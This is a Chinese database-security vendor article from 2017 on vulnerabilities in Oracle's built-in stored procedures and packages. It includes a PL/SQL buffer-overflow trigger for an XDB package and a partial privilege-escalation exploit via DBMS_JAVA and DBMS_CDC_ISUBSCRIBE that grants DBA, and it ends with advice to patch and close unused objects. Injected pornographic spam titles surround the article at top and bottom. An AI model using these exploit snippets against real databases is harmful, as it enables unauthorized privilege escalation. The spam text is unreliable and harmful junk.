欧美精品一区二区,体育生GAY白袜调教VIDEO,私人影院播放器,色偷偷AV老熟女色欲涩爱

?
內(nèi)容中心
按關(guān)鍵字查找
數(shù)據(jù)庫自身安全漏洞分析之內(nèi)建存儲對象的安全問題
作者:安華金和 發(fā)布時間:2017-01-13

許多數(shù)據(jù)庫系統(tǒng)都提供大量內(nèi)建的存儲過程和軟件包。這些存儲過程對象為數(shù)據(jù)庫提供了額外的幫助,同時幫助管理員和開發(fā)者管理數(shù)據(jù)庫系統(tǒng)。

例如目前用戶量最廣的Oracle數(shù)據(jù)庫,默認情況下在安裝時便擁有多達30000個可以公開訪問的對象,這些對象為許多任務(wù)(包括訪問OS文件、發(fā)送HTTP請求、管理XML對象、java服務(wù)以及支持復(fù)制)提供相應(yīng)的功能。這些功能都會在網(wǎng)絡(luò)上開啟對應(yīng)端口,而每多開一個網(wǎng)絡(luò)端口就為數(shù)據(jù)庫安全造成多一份入侵威脅。

這些內(nèi)建對象包含的漏洞覆蓋了:SQL注入、緩沖區(qū)溢出和應(yīng)用程序邏輯漏洞等。Oracle的內(nèi)建包中含有大量這種漏洞,我們下面就拿一個XDB上緩沖區(qū)溢出的漏洞舉例。

Declare

buff varchar2(32767);

begin

buff :=’12345678901234567890123456789’;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=’12345678901234567890123456789’;

XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);

end;

同樣java也存在大量此種漏洞,并且危害比上面的XDB還嚴(yán)重

…..DBMS_JAVA.SET_OUTPUT_TO_JAVA(‘ID’,’oracle/aurora/rdbms/DbmsJava’,’SYS’,’writeOutputToFile’,’TEXT’,NULL,NULL,NULL,NULL 0,1,1,1,1,0,’ DECLARE PRAG…….

EXEC DBMS_CDC_ISUBSCRIBE……

上面這個漏洞是針對ORACLE 11.1系列 的JAVA漏洞。利用DBMS_CDC_ISUBSCRIBE 包可被 任意帳號執(zhí)行,但這個包的創(chuàng)建者是sys。如果執(zhí)行DBMS_CDC_ISUBSCRIBE 的回話是sys,就可以執(zhí)行sys權(quán)限(提權(quán)到DBA)DBMS_JAVA.SET_OUTPUT_TO_JAVA  函數(shù)可以把system.err的java重定向到一個新的會話中。于是我們故意輸入錯誤參數(shù)導(dǎo)致DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW 產(chǎn)生錯誤,并把錯誤寫入到system.err中。同時創(chuàng)建一個新SYS權(quán)限會話 。真正被執(zhí)行的語句是 EXECUTE IMMEDIATE "grant dba to user()"

我們從上面的例子中不難看出這種漏洞對于數(shù)據(jù)庫安全的危害很大。建議數(shù)據(jù)庫的使用者及時更新數(shù)據(jù)庫廠商發(fā)布的官方補丁,同時關(guān)閉不必要的對象以及對應(yīng)端口。如果由于某種原因無法對數(shù)據(jù)庫進行補丁升級,建議使用帶VPATCH功能的數(shù)據(jù)庫防火墻保護數(shù)據(jù)庫安全。


?
香港三级伦在线播放| 成人做爰高潮a片免费视频| 欧美高清videossexo| YING娃养成被C日记| jk萌白酱在椅子上喷水视频| 亚洲第一av网站| 邻居的丰满人妻hd学生| 中文字幕乱码中文| 特级做A爰片毛片免费69| 皇上好涨奴婢夹不文h| 伊人狠狠色丁香婷婷综合尤物| 国产麻豆成人传媒免费观看| 欧美特黄A级高清免费大片A片| 丁香五香天堂网| 调教室捆绑白丝jk震动捧娇喘 | 黑人一个接一个上来糟蹋| 风雨送春归电视剧全集在线观看| 亚洲av天堂综合网久久| 亚洲日韩av无码中文字幕美国| 人妻体内射精一区二区三区| chinese国产人妖ts| 免费真人视频app| 一边做一边说国语对白| 国产精品人成视频免费播放| 第一次破学生处视频免费观看| 国产精品久久人妻无码网站仙踪林| 国产日产久久高清欧美一区| 播放男人添女人下边视频| 警察被两个混混脱裤玩j视频| 97色伦亚洲自偷| 亚洲小说春色综合另类| 欧美成人精品a片免费一区99| 男按摩师按摩奶头是正常的吗| 偷国精产品久拍自产| 少妇真实被内射视频三四区 | 教官趁她睡着吸允她的花蜜| 日本a片| 偷窥 自由 xxx 视频| 艳妇乳肉豪妇荡乳av无码福利| 国产又粗又猛又爽又黄| 美女露100%双奶头无遮挡|